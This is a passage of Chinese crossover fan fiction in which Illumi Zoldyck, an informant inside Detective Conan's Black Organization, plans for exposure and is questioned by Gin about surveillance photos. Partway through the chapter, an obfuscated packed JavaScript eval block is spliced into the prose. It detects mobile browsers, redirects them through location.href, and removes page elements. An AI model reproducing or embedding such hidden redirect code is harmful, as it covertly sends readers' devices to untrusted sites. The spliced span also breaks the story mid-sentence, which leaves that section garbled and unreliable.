伊尔迷想起很久之前,奇犽第一次躲训练的时候,他帮着奇犽撒了谎,隐瞒了这个弟弟的行踪。 结果最后席巴把他们两个都狠狠罚了一顿,还让伊尔迷亲自罚了奇犽,那是他第一次伤害奇犽。伊尔迷早已习惯了那种伤害,但年幼的奇犽明显并不习惯。 奇犽恨他。 揍敌客不允许家人间的欺骗,即便这个欺骗是有理由的。那之后伊尔迷没有再向席巴撒谎过。 Gin根本不算他的家人,但也和席巴一样,不会容许他的欺骗。而他的谎言,或许也会带来一些他想不到的后果。 窗外,月亮从云层后面露出来,银白色的光照进房间。 伊尔迷忽然想起今天在银行里,柯南看他的眼神。 那个眼神里有警惕,有恐惧,但还有一种东西——好奇。 工藤新一在好奇他是谁。 一个好奇的侦探,比一个警惕的侦探更危险。 因为好奇的人,不会停下来。 他闭上眼睛。 需要加快进度了。 银行的事要尽快收尾。 组织的事要小心处理。 FBI的事要—— 手机又亮了。 这次是赤井的消息:你最近在查银行的事? 伊尔迷:嗯。 赤井:我收到风声,有人在组织里传你是内鬼。 伊尔迷的手指停在屏幕上方。 赤井:不是Gin传的。是下面的人在传。基安蒂和卡尔瓦多斯都在说,你处理沼渊的速度太快了,像是在灭口。 伊尔迷看着这条消息,心跳没有加速。 他知道这一天会来的。 从第一天当线人开始,他就知道。 赤井:你打算怎么办? 伊尔迷想了想,回了一条:什么都不做。 赤井:什么都不做? 伊尔迷:越解释越可疑。什么都不做,让他们说。 赤井沉默了一会儿。 赤井:你就不怕Gin起疑心? 伊尔迷:Gin不会因为闲话就怀疑一个人。他会自己查。 赤井:如果他自己查到了什么呢? 伊尔迷没有回复。 他把手机放下,躺在沙发上,盯着天花板。 如果Gin自己查到了什么。 那就让Gin查到。 但在他查到之前,他需要做好准备。 他把小奇从腿上抱起来,放在旁边的沙发上,然后坐起来,打开手机备忘录。 他新建了一个文档,标题是“Plan B”。 然后他开始写。 第一条:如果Gin发现他是内鬼,他有两个选择:跑,或者留下来。 跑的话,他可以去FBI的保护计划。但FBI的保护计划意味着他不能再吃小蛋糕,不能再养猫,不能再过现在这种日子。 留下来的话... 他想了想,在第二条写:如果留下来,他需要让Gin觉得他还有利用价值。 什么价值? 他想了想自己的优势——任务完成率百分之百,从不出错,从不废话。这些是Gin看重的。 但如果Gin发现他是内鬼,这些优势就不存在了。 他需要一个新的优势。 他想了想,在第三条写:情报。 如果他掌握的情报足够多、足够重要,Gin可能会留他一命。因为一个知道所有内幕的内鬼,比一个死了的内鬼更有价值。 但前提是:他掌握的情报必须是Gin需要的。 他打开和赤井的聊天记录,翻到最早的那几条。 赤井发过的情报,他都存了下来。组织的据点、成员代号、任务规划。这些是FBI需要的,但不一定是Gin需要的。 他需要的是Gin在乎的东西。 他想了想,在第四条写:那位先生的身份。 如果他知道那位先生是谁,Gin就不可能杀他。 但他不知道。 他放下手机,闭上眼睛。 小奇又爬回他的腿上,缩成一团。 他摸着小奇的头,慢慢呼吸。 窗外,月亮已经升到了最高点。 银白色的光洒在地板上,像一条路。 一条不知道通向哪里的路。伊尔迷并不害怕,却感到有些迷茫。 16.第 16 章 传言像潮水一样,无声无息地漫上来。 伊尔迷第一次察觉到不对劲,是在组织内部的通讯软件上。基安蒂在原本和谐的群里发了一条消息,语气轻飘飘的:“有些人,任务完成得太快,也不知道是真有本事,还是在掩盖什么。” 没有人接话。 但伊尔迷知道,不说话比说话更可怕。 他关掉群聊,从冰箱里拿出一块抹茶蛋糕,切了一小块,慢慢吃。抹茶的微苦在舌尖化开,他想起奇犽以前偷吃巧克力球被抓住的样子:嘴里塞得满满的,还要说“我没吃”。 现在的他,和奇犽有什么区别? 小奇跳上沙发,趴在他腿上。伊尔迷摸了摸它的头,小家伙发出咕噜咕噜的声音。 手机响了。是Gin的消息:明天晚上,基地。有事。 只有六个字。没有说明是什么事,没有说需要准备什么。伊尔迷看着屏幕,手指在“好”字上悬了一秒,然后按下去。 第二天晚上七点,伊尔迷准时到达基地。 地下停车场改造的基地比上次团建时更空旷。灯只开了三分之一,大部分区域都笼罩在阴影里。十几辆黑色保时捷整齐地停着,像是某种沉默的仪式。 Gin站在最里面,背对着入口。他今天没有穿风衣,只穿了一件黑色衬衫,袖子卷到手肘。银发松散地披在肩上,在昏暗的灯光下显得有些刺眼。 “来了?”Gin没有回头。 “嗯。” “过来。” 伊尔迷走过去,站在Gin身后两步远的地方。 Gin转过身来。他的表情和平时一样:冷,淡,看不出任何情绪。但他的眼睛不一样。那双绿色的眼睛里有一种伊尔迷没见过的东西,不是怀疑,不是愤怒,而是一种更复杂的东西。 像是对答案之前的犹豫。 “基安蒂的话,你看到了?”Gin问。 “看到了。” “你怎么想?” 伊尔迷想了想。“她在试探你。” Gin的眉梢动了一下。“试探我?” “她不是在说我。”伊尔迷说,“她是在看你会不会回应。如果你回应了,说明你在意这件事。如果你不在意,她以后就不会再说了。” Gin看着他,沉默了三秒。 “你倒是看得清楚。” “这不是常识吗?” Gin没有接这句话。他从口袋里掏出一个信封,扔到旁边的车顶上。 “打开看看。” 伊尔迷拿起信封,抽出里面的东西。 是一叠照片。 第一张:他走进警视厅,时间是白天,角度是从对面楼顶拍的。照片里他的侧脸很清楚,警视厅的招牌也很清楚。 第二张:他和佐藤在警视厅附近的咖啡厅说话。佐藤的表情很认真,他面无表情。拍摄距离很近,大概就在隔壁桌。 第三张:他在FBI的据点附近出现。照片里他站在街角,身后是赤井秀一的车的尾灯。 伊尔迷一张一张地看过去,表情没有变化。他的心跳没有加速,呼吸没有改变,脸上的肌肉没有任何多余的移动。这是揍敌客家从小训练的基本功:在任何情况下,都不要让你的敌人知道你在想什么。 但他脑子里只有一个念头:这些照片是什么时候拍的?他为什么没有发现? 他看完最后一张,把照片放回信封里。 “拍得不错。”他说。 Gin的眼睛眯了一下。 “你不打算解释?” “解释什么?” “你为什么去警视厅。为什么和那个女警官喝咖啡。为什么出现在FBI的据点附近。” 伊尔迷抬起头,看着Gin。 “你是在审问我?” Gin没有回答。两个人的目光在空中相遇,谁都没有移开。 基地里很安静。远处的灯发出嗡嗡的声音,像是某种昆虫的鸣叫。 “我在给你机会。”Gin说。 “什么机会?” “解释的机会。” 伊尔迷歪了歪头。 “如果我说这些都是误会,你信吗?” “那要看你怎么说。” 伊尔迷沉默了一会儿。 “警视厅的事,是目暮警官找我的。他想让我做线人。我拒绝了,但他每个月还是给我打钱,我懒得退。” Gin的表情没有变化。 “咖啡厅的事,是佐藤警官约我谈案子。连环杀人案,她问我有没有线索。我说没有。” “FBI的据点呢?” “我不知道那是FBI的据点。我只是路过,去买蛋糕。” Gin盯着他看了很久。 “路过?” “嗯。那附近有一家甜品店,提拉米苏很好吃。” Gin的表情终于有了一丝变化:不是愤怒,不是怀疑,而是一种近似于无奈的微表情。他的嘴角动了一下,幅度很小,小到普通人根本看不出来。 “你是说,你去FBI的据点,是为了买蛋糕?” “那家店确实在FBI据点隔壁。我当时不知道。” Gin沉默了一会儿。 “你知道这些照片是谁拍的?” “谁?” “卡尔瓦多斯。” 伊尔迷眨了眨眼。 “他跟踪我?” “他受命跟踪所有人。”Gin说,“不只是你。” “受谁的命?” Gin没有回答这个问题。 “这些照片,我可以压下来。”他说,“但我需要一个理由。” “什么理由?” “为什么不怀疑你的理由。” 伊尔迷看着Gin。 在揍敌客,没有人会问这种问题。如果一个人被怀疑,他要做的就是证明自己。证明不了,就是死。没有人会给别人“不怀疑的理由”。 但Gin在问。 不是审问,不是逼问。是问。 “因为我没有动机。”伊尔迷说。 Gin没有说话。 “组织给我的待遇很好。年终奖七位数,任务奖金从来不拖欠,还有年终礼品。”他看了一眼Gin放在桌上的保温杯,“我为什么要背叛?” “钱不是一切。” “对我来说,够用了。” Gin看着他,眼神复杂。 “你的要求就这么低?” “不是低。”伊尔迷说,“是清楚。我知道自己能做什么,不能做什么。背叛组织这种事,我不能做。因为做了,我现在的日子就没了。” “你现在的日子?” 伊尔迷想了想。“有蛋糕吃,有猫养,有任务做。挺好的。” Gin沉默了很长时间,最后盯着伊尔迷说了句:“别骗我。” 基地里很安静。远处的灯还是嗡嗡地响着,伊尔迷没有说话,反倒显得冷静。 “卡尔瓦多斯。”Gin忽然说。 “什么?” “照片是他拍的。但他不只拍了你。” 伊尔迷还是没有说话。 “他还拍了基安蒂。拍了科恩。拍了伏特加。”Gin的语气很平淡,“他把所有人的照片都交上来了。” “所以?” “所以他不是针对你。他在针对所有人。” 伊尔迷想了想。“他想证明什么?” “他想证明组织里有内鬼。”Gin说,“而且他觉得自己是唯一清白的人。” “那你觉得呢?” Gin没有回答。他从车顶上拿起信封,把照片抽出来,一张一张地看。 看到第三张的时候,他忽然停下来。 “这张。” 伊尔迷看过去。是他在FBI据点附近的那张照片。街角,夜灯,赤井秀一的车尾灯。 “赤井秀一。”Gin说,“你知道那辆车是他的?” 伊尔迷的心跳漏了一拍。 只漏了一拍。然后恢复如常。还能怎么办, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396194|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在不行,今天就彻底撕破脸,他不怕。反倒是Gin,或许不舍得失去他这样成功率百分百还吃苦耐劳的杰出员工。 “不知道。”思绪翻涌的此刻,伊尔迷说,“我当时在买蛋糕。” Gin看了他一眼。 那个眼神很淡,淡到看不出任何情绪。但伊尔迷知道,Gin在判断他说的是真是假。 在揍敌客,他学过如何判断一个人是否在撒谎——瞳孔的放大程度、呼吸的频率、嘴角的微表情。他也学过如何控制这些。 但他不确定,Gin学没学过。 “我会查。”Gin说。 “查什么?” “查你说的是不是真的。” 伊尔迷点点头。 “好。” Gin把照片装回信封里,收进口袋。 “你可以走了。” 伊尔迷转身往出口走。 走了几步,Gin的声音从身后传来。 “伊尔迷。” 他停下来。 这是他第一次在Gin面前听到“伊尔迷”这三个字。不是黑泽,不是Rum。是伊尔迷。 “什么?” “你的猫,叫什么名字?” 伊尔迷愣了一下。 “小奇。” “谁取的?” “我。” Gin沉默了一秒,看起来只是随口一问,关心下优秀员工的日常生活:“嗯。” 伊尔迷推门离开。 走出基地的时候,夜风吹过来,有点冷。他站在门口,从口袋里摸出一颗糖——不是牛奶糖,是今天新买的柠檬糖。酸酸的,很提神。 他咬了一口,酸味在舌尖炸开。 Gin刚才叫他“伊尔迷”。 不是黑泽。不是Rum。是伊尔迷。 这意味着什么? 他想了想,觉得可能只是Gin念错了他的名字。 也可能不是。 他加快脚步往公寓走。 回到公寓,小奇正在猫窝里睡觉。听见门响,抬起头看了一眼,然后继续睡。 伊尔迷换了拖鞋,坐到沙发上,打开手机。 佐藤的消息:连环杀人案的调查有新进展。银行的金库记录确实被改过。你怎么知道的? 伊尔迷看着这条消息,手指在屏幕上悬了很久。 他回了一句:猜的。 佐藤:你能不能认真一点? 伊尔迷:我很认真。 佐藤:那你再猜一下,凶手是谁? 伊尔迷:不是猜的。是推理。 佐藤:那你推理一下。 伊尔迷:凶手不是一个人。是一个组织。 佐藤沉默了很久。 佐藤:什么组织? 伊尔迷没有回复。 他把手机放下,闭上眼睛。 小奇从猫窝里跳出来,爬上沙发,趴在他的腿上。 他摸了摸小奇的头。 “小奇,”他说,“我好像说了不该说的话。” 小奇叫了一声。 “但我不说,Gin也会查到。” 小奇又叫了一声。 “所以我说了,对他反而有好处。” 小奇翻了个身,露出肚皮。 伊尔迷看着小奇的肚皮,沉默了很久。 手机亮了。 是Gin的消息:明天来安全屋。有新的任务。 伊尔迷:好。 Gin:顺便把那家甜品店的地址发我。 伊尔迷看着这条消息,愣了一秒。 伊尔迷:你要去吃蛋糕? Gin没有回复。 伊尔迷把甜品店的地址发过去。 然后他放下手机,从口袋里摸出最后一颗柠檬糖,剥开吃掉。 酸。很酸。酸到眼睛眯起来。 但他笑了。 很淡,几乎看不出来。 没有什么值得开心的事情,他差点被发现,但他确实笑了。